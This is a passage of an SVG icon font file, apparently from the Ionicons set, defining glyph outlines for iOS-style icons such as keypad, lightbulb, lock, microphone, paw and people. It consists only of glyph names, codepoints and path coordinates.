d="M378 313c24 -34 38 -76 38 -121c0 -115 -92 -208 -207 -208s-209 93 -209 208s94 208 209 208c45 0 86 -14 120 -38c6 5 13 8 21 8c19 0 35 -16 35 -35c0 -8 -2 -16 -7 -22zM350 357c-12 0 -22 -10 -22 -22s10 -22 22 -22s22 10 22 22s-10 22 -22 22zM344 56
c18 18 31 39 41 62c10 24 15 48 15 74s-5 51 -15 75c-5 13 -12 25 -20 36c-5 -2 -10 -3 -15 -3c-19 0 -35 16 -35 35c0 5 2 11 4 15c-11 8 -23 15 -36 20c-24 10 -49 14 -75 14s-51 -4 -75 -14c-23 -10 -43 -24 -61 -42s-31 -38 -41 -61c-10 -24 -15 -49 -15 -75
s5 -50 15 -74c10 -23 23 -44 41 -62s38 -31 61 -41c24 -10 49 -15 75 -15s51 5 75 15c23 10 43 23 61 41zM208 288c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96zM208 112c44 0 80 36 80 80s-36 80 -80 80s-79 -36 -79 -80s35 -80 79 -80z" />
    <glyph glyph-name="ion-ios-keypad-outline" unicode="&#xf44f;" horiz-adv-x="384" 
d="M331 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-54 23 -54 53s24 54 54 54zM331 16c21 0 37 16 37 37s-16 38 -37 38s-38 -17 -38 -38s17 -37 38 -37zM192 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-53 23 -53 53s23 54 53 54zM192 16c21 0 37 16 37 37s-16 38 -37 38
s-37 -17 -37 -38s16 -37 37 -37zM53 107c30 0 54 -24 54 -54s-24 -53 -54 -53s-53 23 -53 53s23 54 53 54zM53 16c21 0 38 16 38 37s-17 38 -38 38s-37 -17 -37 -38s16 -37 37 -37zM331 245c30 0 53 -23 53 -53s-23 -53 -53 -53s-54 23 -54 53s24 53 54 53zM331 155
c21 0 37 16 37 37s-16 37 -37 37s-38 -16 -38 -37s17 -37 38 -37zM192 245c30 0 53 -23 53 -53s-23 -53 -53 -53s-53 23 -53 53s23 53 53 53zM192 155c21 0 37 16 37 37s-16 37 -37 37s-37 -16 -37 -37s16 -37 37 -37zM53 245c30 0 54 -23 54 -53s-24 -53 -54 -53
s-53 23 -53 53s23 53 53 53zM53 155c21 0 38 16 38 37s-17 37 -38 37s-37 -16 -37 -37s16 -37 37 -37zM331 277c-30 0 -54 24 -54 54s24 53 54 53s53 -23 53 -53s-23 -54 -53 -54zM331 368c-21 0 -38 -16 -38 -37s17 -38 38 -38s37 17 37 38s-16 37 -37 37zM192 384
c30 0 53 -23 53 -53s-23 -54 -53 -54s-53 24 -53 54s23 53 53 53zM192 293c21 0 37 17 37 38s-16 37 -37 37s-37 -16 -37 -37s16 -38 37 -38zM53 384c30 0 54 -23 54 -53s-24 -54 -54 -54s-53 24 -53 54s23 53 53 53zM53 293c21 0 38 17 38 38s-17 37 -38 37
s-37 -16 -37 -37s16 -38 37 -38z" />
    <glyph glyph-name="ion-ios-keypad" unicode="&#xf450;" horiz-adv-x="384" 
d="M331 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-54 23 -54 53s24 54 54 54zM192 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-53 23 -53 53s23 54 53 54zM53 107c30 0 54 -24 54 -54s-24 -53 -54 -53s-53 23 -53 53s23 54 53 54zM331 245c30 0 53 -23 53 -53
s-23 -53 -53 -53s-54 23 -54 53s24 53 54 53zM192 245c30 0 53 -23 53 -53s-23 -53 -53 -53s-53 23 -53 53s23 53 53 53zM53 245c30 0 54 -23 54 -53s-24 -53 -54 -53s-53 23 -53 53s23 53 53 53zM331 277c-30 0 -54 24 -54 54s24 53 54 53s53 -23 53 -53s-23 -54 -53 -54z
M192 384c30 0 53 -23 53 -53s-23 -54 -53 -54s-53 24 -53 54s23 53 53 53zM53 384c30 0 54 -23 54 -53s-24 -54 -54 -54s-53 24 -53 54s23 53 53 53z" />
    <glyph glyph-name="ion-ios-lightbulb-outline" unicode="&#xf451;" horiz-adv-x="288" 
d="M288 275c0 -31 -13 -59 -30 -83v0c-11 -15 -22 -28 -32 -45c-22 -38 -18 -73 -18 -82v-1h-128v1c0 7 3 44 -19 82c-10 17 -20 30 -31 45v0c-17 24 -30 52 -30 83c0 78 66 141 144 141s144 -63 144 -141zM239 194l6 8c16 22 27 47 27 73c0 33 -16 65 -40 89s-55 36 -88 36
s-64 -12 -88 -36s-40 -56 -40 -89c0 -26 11 -51 27 -73l19 -26v0c5 -6 9 -13 13 -21c17 -29 21 -58 21 -75h16v112l-32 64h17l31 -64v-112h32v112l31 64h17l-32 -64v-112h16c0 17 4 45 21 75c8 14 16 25 24 36c1 1 1 2 2 3zM112 -32v16h64v-16h-64zM96 0v16h96v-16h-96z
M96 32v16h96v-16h-96z" />
    <glyph glyph-name="ion-ios-lightbulb" unicode="&#xf452;" horiz-adv-x="288" 
d="M288 275c0 -31 -13 -59 -30 -83v0c-11 -15 -22 -28 -32 -45c-22 -38 -18 -73 -18 -82v-1h-32v128l32 64h-16l-32 -64v-128h-32v128l-31 64h-17l32 -64v-128h-32v1c0 7 3 44 -19 82c-10 17 -20 30 -31 45v0c-17 24 -30 52 -30 83c0 78 66 141 144 141s144 -63 144 -141z
M112 -32v16h64v-16h-64zM96 0v16h96v-16h-96zM96 32v16h96v-16h-96z" />
    <glyph glyph-name="ion-ios-list-outline" unicode="&#xf453;" horiz-adv-x="384" 
d="M368 368h-352v-352h352v352zM384 384v0v-384h-384v384h384zM128 280v16h192v-16h-192zM128 184v16h192v-16h-192zM128 88v16h192v-16h-192zM64 288c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16s-16 5 -16 16zM64 192c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16
s-16 5 -16 16zM64 96c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16s-16 5 -16 16z" />
    <glyph glyph-name="ion-ios-list" unicode="&#xf454;" horiz-adv-x="384" 
d="M0 384h384v-384h-384v384zM80 80c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM80 176c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM80 272c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM320 88v16h-192v-16h192zM320 184v16
h-192v-16h192zM320 280v16h-192v-16h192z" />
    <glyph glyph-name="ion-ios-location-outline" unicode="&#xf455;" horiz-adv-x="288" 
d="M144 400c-34 0 -67 -13 -91 -37s-37 -57 -37 -91c0 -43 24 -107 70 -186c22 -38 44 -72 58 -91c14 19 36 53 58 91c46 79 70 143 70 186c0 34 -13 67 -37 91s-57 37 -91 37zM144 416v0c80 0 144 -64 144 -144c0 -112 -144 -304 -144 -304s-144 192 -144 304
c0 80 64 144 144 144zM144 336c35 0 64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64s29 64 64 64zM144 225c26 0 47 21 47 47s-21 47 -47 47s-47 -21 -47 -47s21 -47 47 -47z" />
    <glyph glyph-name="ion-ios-location" unicode="&#xf456;" horiz-adv-x="288" 
d="M144 416c80 0 144 -64 144 -144c0 -112 -144 -304 -144 -304s-144 192 -144 304c0 80 64 144 144 144zM144 225c26 0 47 21 47 47s-21 47 -47 47s-47 -21 -47 -47s21 -47 47 -47z" />
    <glyph glyph-name="ion-ios-locked-outline" unicode="&#xf457;" horiz-adv-x="320" 
d="M264 224h56v-240h-320v240h56v72c0 57 47 104 104 104s104 -47 104 -104v-72zM72 296v-72h176v72c0 49 -39 88 -88 88s-88 -39 -88 -88zM304 0v208h-288v-208h288zM160 160c18 0 32 -14 32 -32c0 -15 -10 -27 -24 -31v-33h-16v33c-14 4 -24 16 -24 31c0 18 14 32 32 32z
M160 112c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16z" />
    <glyph glyph-name="ion-ios-locked" unicode="&#xf458;" horiz-adv-x="320" 
d="M264 224h56v-240h-320v240h56v72c0 57 47 104 104 104s104 -47 104 -104v-72zM168 97c14 4 24 16 24 31c0 18 -14 32 -32 32s-32 -14 -32 -32c0 -15 10 -27 24 -31v-33h16v33zM248 224v72c0 49 -39 88 -88 88s-88 -39 -88 -88v-72h176zM160 144c9 0 16 -7 16 -16
s-7 -16 -16 -16s-16 7 -16 16s7 16 16 16z" />
    <glyph glyph-name="ion-ios-loop-strong" unicode="&#xf459;" horiz-adv-x="512" 
d="M256 400c115 0 208 -93 208 -208c0 -14 -1 -28 -4 -42l-1 -4l-24 5l1 4c2 12 4 24 4 37c0 101 -83 184 -184 184c-66 0 -127 -36 -160 -94l-2 -3l-21 11l2 4c37 65 106 106 181 106zM416 102l2 3l21 -11l-2 -4c-37 -65 -106 -106 -181 -106c-115 0 -208 93 -208 208
c0 14 1 28 4 42l1 4l24 -5l-1 -4c-2 -12 -4 -24 -4 -37c0 -101 83 -184 184 -184c66 0 127 36 160 94zM384 192h128l-64 -64zM0 192l64 64l64 -64h-128z" />
    <glyph glyph-name="ion-ios-loop" unicode="&#xf45a;" horiz-adv-x="489" 
d="M478 192l11 -11l-52 -53l-53 53l10 11l43 -41zM449 192v0v0c0 -7 0 -14 -1 -21l-16 1c1 7 1 14 1 21c-1 103 -85 187 -188 187c-68 0 -131 -37 -164 -96l-14 8c36 64 104 104 178 104c112 0 203 -91 204 -202v0v-2zM409 100l14 -8c-36 -64 -104 -104 -178 -104
c-111 0 -202 90 -204 200v0v3v1v0c0 7 0 14 1 21l16 -1c-1 -7 -1 -14 -1 -21c0 -103 85 -187 188 -187c68 0 131 37 164 96zM53 256l52 -53l-11 -11l-41 41l-42 -41l-11 11z" />
    <glyph glyph-name="ion-ios-medical-outline" unicode="&#xf45b;" horiz-adv-x="364" 
d="M364 260l-118 -68l118 -68l-32 -56l-118 69v-137h-64v137l-118 -69l-32 56l118 68l-118 68l32 56l118 -69v137h64v-137l118 69zM342 118l-128 74l128 74l-16 28l-128 -74v148h-32v-148l-128 74l-16 -28l128 -74l-128 -74l16 -28l128 74v-148h32v148l128 -74z" />
    <glyph glyph-name="ion-ios-medical" unicode="&#xf45c;" horiz-adv-x="364" 
d="M364 260l-118 -68l118 -68l-32 -56l-118 69v-137h-64v137l-118 -69l-32 56l118 68l-118 68l32 56l118 -69v137h64v-137l118 69z" />
    <glyph glyph-name="ion-ios-medkit-outline" unicode="&#xf45d;" horiz-adv-x="416" 
d="M224 240h-32v-48v-16h-16h-48v-32h48h16v-16v-48h32v48v16h16h48v32h-48h-16v16v48zM240 256v0v-64h64v-64h-64v-64h-64v64h-64v64h64v64h64zM288 320h128v-320h-416v320h128v32c0 18 10 32 29 32h99c19 0 32 -14 32 -32v-32zM144 350v-30h128v30c0 10 -7 18 -17 18h-97
c-11 0 -14 -8 -14 -18zM400 16v288h-384v-288h384z" />
    <glyph glyph-name="ion-ios-medkit" unicode="&#xf45e;" horiz-adv-x="416" 
d="M224 176h16h48v-32h-48h-16v-16v-48h-32v48v16h-16h-48v32h48h16v16v48h32v-48v-16zM288 320h128v-320h-416v320h128v32c0 18 10 32 29 32h99c19 0 32 -14 32 -32v-32zM144 350v-30h128v30c0 10 -7 18 -17 18h-97c-11 0 -14 -8 -14 -18zM304 128v64h-64v64h-64v-64h-64
v-64h64v-64h64v64h64z" />
    <glyph glyph-name="ion-ios-mic-off" unicode="&#xf45f;" horiz-adv-x="280" 
d="M266 -32l-258 440l14 8l258 -440zM128 95c-44 0 -79 37 -79 83v118l113 -193c-10 -5 -22 -8 -34 -8zM207 178c0 -10 -2 -19 -5 -28l-136 234c14 20 37 32 62 32c44 0 79 -38 79 -84v-154zM256 176c0 -28 -9 -54 -24 -75l-10 17c11 17 17 36 17 58v80h17v-80zM139 49v0
v-63h69v-18h-161v18h73v63c-67 5 -120 60 -120 127v80h19v-80c0 -60 50 -109 110 -109c17 0 34 4 48 11l9 -16c-14 -7 -30 -12 -47 -13z" />
    <glyph glyph-name="ion-ios-mic-outline" unicode="&#xf460;" horiz-adv-x="256" 
d="M128 416c44 0 79 -38 79 -84v-154c0 -46 -35 -84 -79 -84s-79 38 -79 84v154c0 46 35 84 79 84zM191 178v154c0 37 -28 68 -63 68s-63 -31 -63 -68v-154c0 -37 28 -68 63 -68s63 31 63 68zM239 256h17v-80c0 -67 -51 -122 -117 -127v-63h69v-18h-161v18h73v63
c-67 5 -120 60 -120 127v80h19v-80c0 -60 50 -109 110 -109s110 49 110 109v80z" />
    <glyph glyph-name="ion-ios-mic" unicode="&#xf461;" horiz-adv-x="256" 
d="M128 94c-44 0 -79 38 -79 84v154c0 46 35 84 79 84s79 -38 79 -84v-154c0 -46 -35 -84 -79 -84zM239 256h17v-80c0 -67 -51 -122 -117 -127v-63h69v-18h-161v18h73v63c-67 5 -120 60 -120 127v80h19v-80c0 -60 50 -109 110 -109s110 49 110 109v80z" />
    <glyph glyph-name="ion-ios-minus-empty" unicode="&#xf462;" horiz-adv-x="256" 
d="M256 183h-256v17h256v-17z" />
    <glyph glyph-name="ion-ios-minus-outline" unicode="&#xf463;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191zM80 183v17h256v-17h-256z" />
    <glyph glyph-name="ion-ios-minus" unicode="&#xf464;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM336 183v17h-256v-17h256z" />
    <glyph glyph-name="ion-ios-monitor-outline" unicode="&#xf465;" horiz-adv-x="480" 
d="M480 64h-176v-16h64v-16h-257v16h64v16h-175v288h480v-288zM16 336v-256h448v256h-448z" />
    <glyph glyph-name="ion-ios-monitor" unicode="&#xf466;" horiz-adv-x="480" 
d="M480 64h-176v-16h64v-16h-257v16h64v16h-175v288h480v-288zM16 336v-256h448v256h-448zM32 96v224h416v-224h-416z" />
    <glyph glyph-name="ion-ios-moon-outline" unicode="&#xf467;" horiz-adv-x="216" 
d="M195 133c7 0 14 1 21 3c-4 -7 -7 -12 -12 -18c-21 -25 -53 -41 -88 -41c-64 0 -116 51 -116 115c0 52 34 96 81 111c7 2 14 3 22 4c-4 -6 -8 -12 -11 -18c-7 -14 -11 -30 -11 -47c0 -29 11 -56 32 -77s48 -32 77 -32h5zM116 93c25 0 48 9 65 24c-65 5 -116 59 -116 125
c0 14 2 28 6 40c-33 -16 -55 -51 -55 -90c0 -55 45 -99 100 -99z" />
    <glyph glyph-name="ion-ios-moon" unicode="&#xf468;" horiz-adv-x="216" 
d="M195 133c7 0 14 1 21 3c-4 -7 -7 -12 -12 -18c-21 -25 -53 -41 -88 -41c-64 0 -116 51 -116 115c0 52 34 96 81 111c7 2 14 3 22 4c-4 -6 -8 -12 -11 -18c-7 -14 -11 -30 -11 -47c0 -29 11 -56 32 -77s48 -32 77 -32h5z" />
    <glyph glyph-name="ion-ios-more-outline" unicode="&#xf469;" horiz-adv-x="320" 
d="M160 210c-10 0 -18 -8 -18 -18s8 -18 18 -18s18 8 18 18s-8 18 -18 18zM160 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM32 210c-10 0 -18 -8 -18 -18s8 -18 18 -18s18 8 18 18s-8 18 -18 18zM32 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32
s-32 14 -32 32s14 32 32 32zM288 210c-10 0 -18 -8 -18 -18s8 -18 18 -18s18 8 18 18s-8 18 -18 18zM288 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32z" />
    <glyph glyph-name="ion-ios-more" unicode="&#xf46a;" horiz-adv-x="320" 
d="M160 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM32 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM288 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32z" />
    <glyph glyph-name="ion-ios-musical-note" unicode="&#xf46b;" horiz-adv-x="192" 
d="M192 346v-1v-65c0 -3 -3 -6 -6 -5v0l-73 13v-192c0 -33 1 -80 -51 -82c-48 -2 -62 16 -62 41c0 19 9 39 51 41c22 1 37 1 45 1v273l90 -19l2 -1c2 0 3 -1 4 -3v0v-1v0z" />
    <glyph glyph-name="ion-ios-musical-notes" unicode="&#xf46c;" horiz-adv-x="320" 
d="M320 128c0 -34 4 -80 -49 -82c-49 -2 -62 16 -62 41c0 20 9 39 52 41c23 1 34 2 43 2v160l-191 -32v-161c0 -34 3 -81 -50 -83c-49 -2 -63 17 -63 42c0 20 9 39 52 41c23 1 35 1 44 1v237l224 35v-242z" />
    <glyph glyph-name="ion-ios-navigate-outline" unicode="&#xf46d;" horiz-adv-x="416" 
d="M208 384c-51 0 -99 -21 -135 -57s-57 -84 -57 -135s21 -99 57 -135s84 -57 135 -57s99 21 135 57s57 84 57 135s-21 99 -57 135s-84 57 -135 57zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM304 288l-96 -224v128h-128z" />
    <glyph glyph-name="ion-ios-navigate" unicode="&#xf46e;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 64l96 224l-224 -96h128v-128z" />
    <glyph glyph-name="ion-ios-nutrition-outline" unicode="&#xf46f;" horiz-adv-x="384" 
d="M294 214v0c6 -6 10 -14 10 -23c0 -11 -5 -20 -13 -26v0s-51 -37 -106 -77l-38 31c-2 2 -4 3 -6 3c-1 0 -2 0 -3 -1v0c-2 -2 -2 -6 1 -10l29 -35l-115 -84c-6 -4 -13 -8 -21 -8c-18 0 -32 14 -32 32c0 7 1 13 4 18v0c2 2 17 25 37 57l21 -17c2 -2 4 -2 6 -2c1 0 3 0 4 1v0
c2 2 1 6 -2 10l-19 23c27 43 60 96 84 134l36 -30c2 -2 4 -3 6 -3c1 0 2 1 3 2v0c2 2 2 5 -1 9l-33 40c11 18 19 29 19 29v0c6 10 15 16 27 16c9 0 18 -4 24 -10v0l78 -79v0v0zM282 178c4 3 6 8 6 13c0 4 -2 9 -5 12l-5 4v1l-69 69v0l-5 5c-3 3 -8 5 -12 5
c-6 0 -10 -3 -13 -8l-5 -8c-2 -3 -5 -7 -8 -12l25 -30v0l1 -1c8 -10 8 -22 0 -30l-1 -1l-1 -1c-4 -3 -8 -5 -13 -5s-11 2 -16 6v1h-1l-21 18l-24 -39l-44 -70l12 -14v0v0c8 -10 8 -23 0 -31v0c-4 -4 -9 -6 -15 -6c-5 0 -11 2 -16 6v0v0l-7 5c-3 -5 -5 -9 -8 -13
c-12 -19 -16 -26 -18 -29c-1 -3 -2 -6 -2 -9c0 -9 7 -16 16 -16c3 0 6 2 11 5l101 74l-18 22h-1v0c-8 10 -8 23 0 31v0v0v0c4 4 10 6 15 6s11 -2 16 -6v0h1l28 -24c49 36 93 68 96 70zM376 333l8 -14l-5 -3l-103 -60l-17 17l71 123l2 4l14 -8l-3 -4l-63 -111l91 53z" />
    <glyph glyph-name="ion-ios-nutrition" unicode="&#xf470;" horiz-adv-x="384" 
d="M295 214v0c6 -6 9 -13 9 -22c0 -11 -5 -20 -13 -26v0s-51 -38 -106 -78l-38 32c-4 3 -8 3 -10 1v0c-2 -2 -2 -6 1 -10l29 -35l-114 -84c-6 -4 -13 -8 -21 -8c-18 0 -32 14 -32 32c0 7 2 13 5 18v0c1 2 16 25 36 57l20 -17c4 -3 8 -3 10 -1v0c2 2 2 6 -1 10l-20 23
c27 43 60 96 84 134l36 -30c4 -3 8 -3 10 -1v0c2 2 2 6 -1 10l-33 40c11 18 18 29 18 29v0c6 10 16 16 28 16c9 0 18 -4 24 -10v0l78 -79l1 -1v0zM384 309l-103 -59l-28 29l70 121l28 -16l-50 -85l67 38z" />
    <glyph glyph-name="ion-ios-paper-outline" unicode="&#xf471;" horiz-adv-x="384" 
d="M48 384h336v-353c0 -17 -14 -31 -31 -31h-322c-17 0 -31 14 -31 31v305h32v-16h-16v-289c0 -8 7 -15 15 -15h322c8 0 15 7 15 15v337h-304v-320h-16v320v16zM96 320v16h128v-16h-128zM96 240v16h240v-16h-240zM96 160v16h192v-16h-192zM96 80v16h240v-16h-240z" />
    <glyph glyph-name="ion-ios-paper" unicode="&#xf472;" horiz-adv-x="384" 
d="M48 384h336v-353c0 -17 -14 -31 -31 -31h-322c-17 0 -31 14 -31 31v305h32v-288h16v288v32v16zM96 336v-16h128v16h-128zM96 176v-16h192v16h-192zM336 80v16h-240v-16h240zM336 240v16h-240v-16h240z" />
    <glyph glyph-name="ion-ios-paperplane-outline" unicode="&#xf473;" horiz-adv-x="320" 
d="M0 198l320 154l-146 -320l-57 115zM132 152l41 -83l115 249zM286 320l-248 -121l83 -36z" />
    <glyph glyph-name="ion-ios-paperplane" unicode="&#xf474;" horiz-adv-x="320" 
d="M0 198l320 154l-214 -200zM320 352l-146 -320l-52 104z" />
    <glyph glyph-name="ion-ios-partlysunny-outline" unicode="&#xf475;" horiz-adv-x="384" 
d="M144 298v54h16v-54h-16zM0 192v16h55v-16h-55zM44 299l10 11l32 -32l-11 -11zM223 268l-11 11l32 32l11 -11zM56 96l-10 11l31 31l11 -11zM129 153c-4 -3 -8 -7 -12 -12c-23 12 -39 36 -39 63c0 39 32 71 71 71c21 0 40 -10 53 -25c-4 -2 -9 -4 -14 -8
c-10 11 -23 17 -39 17c-30 0 -55 -25 -55 -55c0 -23 15 -43 35 -51zM235 208c-34 0 -63 -28 -63 -62v-12s1 -10 1 -10c-5 0 -12 -1 -14 -1c-19 -3 -33 -18 -33 -37c0 -10 3 -19 10 -26s16 -11 26 -11h157c27 0 49 22 49 49s-22 50 -49 50c-2 0 -4 -1 -6 -1l-14 -2l-3 14
c-3 14 -11 26 -22 35s-25 14 -39 14zM235 224v0c37 0 68 -26 76 -61h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v8c0 43 35 78 78 78z" />
    <glyph glyph-name="ion-ios-partlysunny" unicode="&#xf476;" horiz-adv-x="384" 
d="M144 298v54h16v-54h-16zM0 192v16h55v-16h-55zM44 299l10 11l32 -32l-11 -11zM223 268l-11 11l32 32l11 -11zM56 96l-10 11l31 31l11 -11zM235 224v0c37 0 68 -26 76 -61h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v8
c0 43 35 78 78 78zM201 252l1 -2v0c-31 -5 -62 -43 -62 -75c0 -2 1 -5 1 -7l-1 -1h-1c-11 -6 -18 -14 -22 -26v1v-1c-23 12 -39 36 -39 63c0 39 32 71 71 71c21 0 39 -9 52 -23z" />
    <glyph glyph-name="ion-ios-pause-outline" unicode="&#xf477;" horiz-adv-x="256" 
d="M63 336h-47v-288h47v288zM79 352v0v-320h-79v320h79zM240 336h-47v-288h47v288zM256 352v0v-320h-79v320h79z" />
    <glyph glyph-name="ion-ios-pause" unicode="&#xf478;" horiz-adv-x="256" 
d="M0 32v320h79v-320h-79zM177 32v320h79v-320h-79z" />
    <glyph glyph-name="ion-ios-paw-outline" unicode="&#xf479;" horiz-adv-x="384" 
d="M380 252c6 -17 5 -38 -3 -57c-10 -25 -31 -43 -51 -43c-5 0 -10 1 -15 3c-22 10 -30 45 -17 79c10 28 31 46 51 46c5 0 10 -1 14 -3c10 -4 17 -13 21 -25zM362 202c6 15 7 31 2 44c-2 5 -5 12 -12 15c-2 1 -4 2 -7 2c-13 0 -28 -15 -36 -36c-9 -25 -6 -50 8 -56
c2 -1 5 -1 8 -1c14 0 29 13 37 32zM90 234c13 -34 5 -69 -17 -79c-5 -2 -10 -3 -15 -3c-20 0 -41 18 -51 43c-8 19 -9 40 -3 57c4 12 11 21 21 25c4 2 9 3 14 3c20 0 41 -18 51 -46zM67 171c14 6 17 31 8 56c-8 21 -23 36 -36 36c-3 0 -5 -1 -7 -2c-7 -3 -10 -10 -12 -15
c-5 -13 -4 -29 2 -44c8 -19 23 -32 37 -32c3 0 6 0 8 1zM134 237c-28 1 -52 32 -56 69c-2 23 4 45 16 60c8 10 19 17 31 18h6c27 -1 46 -29 50 -67c3 -24 -1 -48 -13 -63c-8 -9 -17 -15 -28 -16c-2 0 -4 -1 -6 -1zM107 356c-10 -12 -14 -29 -12 -48c3 -29 21 -53 40 -54h3
c6 1 12 4 17 10c10 12 12 31 10 51c-3 29 -17 52 -35 53h-3c-9 -1 -16 -7 -20 -12zM192 208c64 0 128 -76 128 -149c0 -22 -11 -40 -22 -47c-13 -9 -23 -12 -42 -12c-23 0 -29 8 -40 15c-8 5 -14 10 -24 10s-16 -5 -24 -10c-11 -7 -17 -15 -40 -15c-19 0 -29 3 -42 12
c-11 7 -22 25 -22 47c0 73 64 149 128 149zM290 27c6 4 14 16 14 32c0 30 -14 64 -36 91c-11 13 -23 24 -36 31c-13 8 -27 11 -40 11s-27 -3 -40 -11c-13 -7 -25 -18 -36 -31c-22 -27 -36 -61 -36 -91c0 -16 8 -28 14 -32c11 -7 18 -10 34 -10c14 0 19 4 26 9c2 1 4 3 6 4
c9 6 18 12 32 12s23 -6 32 -12c2 -1 4 -3 6 -4c7 -5 12 -9 26 -9c16 0 23 3 34 10zM244 238c-11 1 -20 7 -28 16c-12 15 -16 39 -13 63c4 38 23 66 50 67h7c12 -1 22 -8 30 -18c12 -15 18 -37 16 -60c-4 -37 -28 -67 -56 -68h-6zM219 315c-2 -20 0 -39 10 -51
c5 -6 11 -9 17 -10h3c19 1 38 25 41 54c2 19 -3 36 -13 48c-4 5 -10 11 -19 12h-4c-18 -1 -32 -24 -35 -53z" />
    <glyph glyph-name="ion-ios-paw" unicode="&#xf47a;" horiz-adv-x="384" 
d="M380 252c6 -17 5 -38 -3 -57c-10 -25 -31 -43 -51 -43c-5 0 -10 1 -15 3c-22 10 -30 45 -17 79c10 28 31 46 51 46c5 0 10 -1 14 -3c10 -4 17 -13 21 -25zM90 234c13 -34 5 -69 -17 -79c-5 -2 -10 -3 -15 -3c-20 0 -41 18 -51 43c-8 19 -9 40 -3 57c4 12 11 21 21 25
c4 2 9 3 14 3c20 0 41 -18 51 -46zM134 237c-28 1 -52 32 -56 69c-2 23 4 45 16 60c8 10 19 17 31 18h6c27 -1 46 -29 50 -67c3 -24 -1 -48 -13 -63c-8 -9 -17 -15 -28 -16c-2 0 -4 -1 -6 -1zM192 208c64 0 128 -76 128 -149c0 -22 -11 -40 -22 -47c-13 -9 -23 -12 -42 -12
c-23 0 -29 8 -40 15c-8 5 -14 10 -24 10s-16 -5 -24 -10c-11 -7 -17 -15 -40 -15c-19 0 -29 3 -42 12c-11 7 -22 25 -22 47c0 73 64 149 128 149zM244 238c-11 1 -20 7 -28 16c-12 15 -16 39 -13 63c4 38 23 66 50 67h7c12 -1 22 -8 30 -18c12 -15 18 -37 16 -60
c-4 -37 -28 -67 -56 -68h-6z" />
    <glyph glyph-name="ion-ios-people-outline" unicode="&#xf47b;" 
d="M224 336v0v0zM317 113c11 -4 -11 4 0 0c28 -10 46 -35 46 -65h-28h-250c0 22 9 42 27 55c15 11 31 12 49 16c7 1 24 5 26 13s1 15 1 23c0 3 0 3 -2 5c-4 4 -6 9 -8 14c-2 8 -3 16 -4 24c-9 -2 -10 16 -12 21c-1 4 -7 24 3 21c-3 5 -4 13 -5 19c-2 13 -2 26 3 39
c10 26 37 39 64 38c26 -1 51 -16 59 -42c4 -12 3 -26 1 -39c-1 -5 -2 -11 -4 -15c10 3 4 -20 3 -23c-2 -5 -3 -21 -12 -19c-1 -10 -2 -22 -7 -31c-1 -2 -7 -8 -7 -10v-11c0 -5 0 -10 2 -15s10 -7 14 -8c14 -5 27 -5 41 -10zM115 84c-6 -6 9 10 0 0c-6 -6 -10 -12 -12 -20h4
h238c-4 15 -17 27 -30 33s-28 4 -41 9s-25 9 -28 25c-2 11 -2 22 -2 33c0 2 7 7 8 9c3 5 4 11 5 17c1 5 0 12 4 15c5 4 7 7 9 13c2 8 3 12 -1 19c-3 5 0 8 1 13c3 11 4 24 2 36c-8 37 -62 45 -86 19c-12 -13 -12 -31 -9 -47c1 -6 6 -14 3 -19c-1 -3 -5 -6 -4 -10
c2 -5 2 -11 4 -16c2 -4 4 -6 7 -8s3 -6 3 -9c1 -7 2 -17 6 -23c3 -4 8 -6 8 -11v-21c-1 -8 -2 -18 -8 -24c-7 -6 -18 -10 -27 -12c-11 -3 -23 -3 -33 -7c-8 -3 -15 -8 -21 -14zM112 126c-15 -7 9 4 0 0c-9 -5 -18 -11 -25 -19c-1 -2 -6 -11 -7 -11h-25h-55c0 20 13 34 31 40
c6 2 27 4 30 11c2 5 0 11 0 16c-10 -1 -24 1 -32 7c-2 2 3 9 4 12l3 12c1 9 1 19 1 28c0 16 -1 34 8 48c8 13 23 18 38 18c24 0 43 -13 47 -37c3 -16 1 -32 2 -48c0 -8 2 -16 5 -24c1 -2 5 -7 3 -9l-6 -3c-5 -2 -11 -3 -17 -4c-1 0 -8 0 -9 -1s0 -9 0 -11c0 -4 1 -6 5 -7
c6 -2 19 -3 23 -8c2 -3 1 -5 -2 -5c-8 -1 -15 -1 -22 -5zM71 112c6 10 16 18 26 24c-9 9 -5 26 -4 37c0 2 0 5 2 5h8c6 0 11 1 17 2c-7 23 0 47 -5 70c-3 16 -15 23 -31 23c-17 0 -27 -9 -30 -25c-4 -22 3 -46 -4 -68c9 -1 17 -2 26 -2c1 0 1 -28 1 -29
